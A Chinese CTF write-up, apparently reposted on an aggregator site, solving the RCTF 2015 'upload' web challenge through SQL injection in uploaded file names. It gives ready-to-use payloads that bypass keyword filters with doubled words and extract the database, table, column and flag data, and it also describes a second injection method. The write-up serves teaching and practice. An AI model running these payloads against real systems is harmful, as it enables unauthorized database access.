首页 > 文章 > XCTF Web upload(RCTF 2015)

XCTF Web upload(RCTF 2015)

做法:

利用文件名进行sql注入

思路:

推测后台的insert插入语句为:

insert into 表名(‘filename‘,...) values(‘你上传的文件名‘,...);

构造以下语句进行注入:

文件名‘+(selselectect conv(substr(hex(database()),1,12),16,10))+‘.jpg

拼接后的sql语句为:
...values(‘文件名‘+(selselectect conv(substr(hex(database()),1,12),16,10))+‘.jpg‘,...);

CONV(n,from_radix,to_radix):用于将n从from_radix进制转到to_radix进制

substr(str,start,length):将str从start长度为length分割

hex(str):将str转成十六进制

一点疑问&细节:

  1. select、from被过滤,用双写绕过

  2. 为什么不直接采用sselectelect database()进行注入:

    ? 部分注入回显:

    ? ‘+(selselectect dAtabase())+‘.jpg => 0

    ? ‘+(selecselectt substr(dAtabase(),1,12))+‘.jpg => 0

    ? ‘+(selecselectt substr(hex(dAtabase()),1,12))+‘.jpg => 7765625

    第三句代码应该回显‘7765625f7570’,遇到’f‘导致截断,所以需要conv转成十进制输出

  3. substr中的长度限制:不限制长度会导致返回值太大,系统使用科学计数法(xx e xxxxx)表示。

题目限制条件

  1. 回显不能出现字母 ---》 转成十进制
  2. 要使注入后的语句正确闭合 ---》猜测语句结构,正确闭合
  3. 防止回显数据过大使得程序返回科学计数型的结果 ---》 限制回显长度

步骤

上传利用语句注入的文件名在上传文件中进行注入,对substr的截取位置由读者自行调整直至获得完整名称

1. 库名
file_name' +(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg
# 得到库名:web_upload

2. 表名
file_name'+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
# 得到表名:hello_flag_is_here

3. 字段
file_name'+(seleselectct+conv(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 1,1)),1,12),16,10))+'.jpg
# 得到字段名:i_am_flag

4. 获得数据
file_name'+(seleselectct+CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
# 得到flag:[email protected]_Th.e_F!lag

其他做法(更简单,要求脑洞):

如果对表的结构猜测得当,很快就能解决这道题目,参考某dalao的wp中写出的结构:

(filename.jpg,uid,uid)

语句构造

在上传文件的时候,网站会回显uid给我们,所以要先上传一个文件,获取uid,觉得网页跳转太快的可以抓包

我们构造(filename,‘uid‘,‘uid‘),((database()),‘uid‘,‘uid‘)#.jpg ‘,‘uid‘,‘uid‘);

拼接后的语句为(filename,‘uid‘,‘uid‘),((database()),‘uid‘,‘uid‘)

对应的回显就是我们上传文件的filename和database(),说明注入成功

步骤

我们对这个语句进行注入构造,uid自行替换

1. 库名
filename','uid','uid'),((database()),'uid','uid')#.jpg
# 例:filename','1661','1661'),((database()),'1661','1661')#.jpg

2. 表名
filename','uid','uid'),((selselectect group_concat(table_name) frfromom information_schema.tables where table_schema = 'web_upload'),'uid','uid')#.jpg
#'--------------------------------分割行

3. 字段名
filename','uid','uid'),((selselectect group_concat(column_name) frfromom information_schema.columns where table_name = 'hello_flag_is_here'),'uid','uid')#.jpg
#'--------------------------------分割行

4. 获得数据
filename','uid','uid'),((selselectect i_am_flag frfromom hello_flag_is_here),'uid','uid')#.jpg

参考连接:

https://www.cnblogs.com/sharpff/p/10728498.html

https://blog.csdn.net/qq_42181428/article/details/89345094#upload_168

时间:2019-05-31 09:23:00阅读(158)
联系我们 - 留言反馈
© 2017 版权所有 鲁ICP备17052893号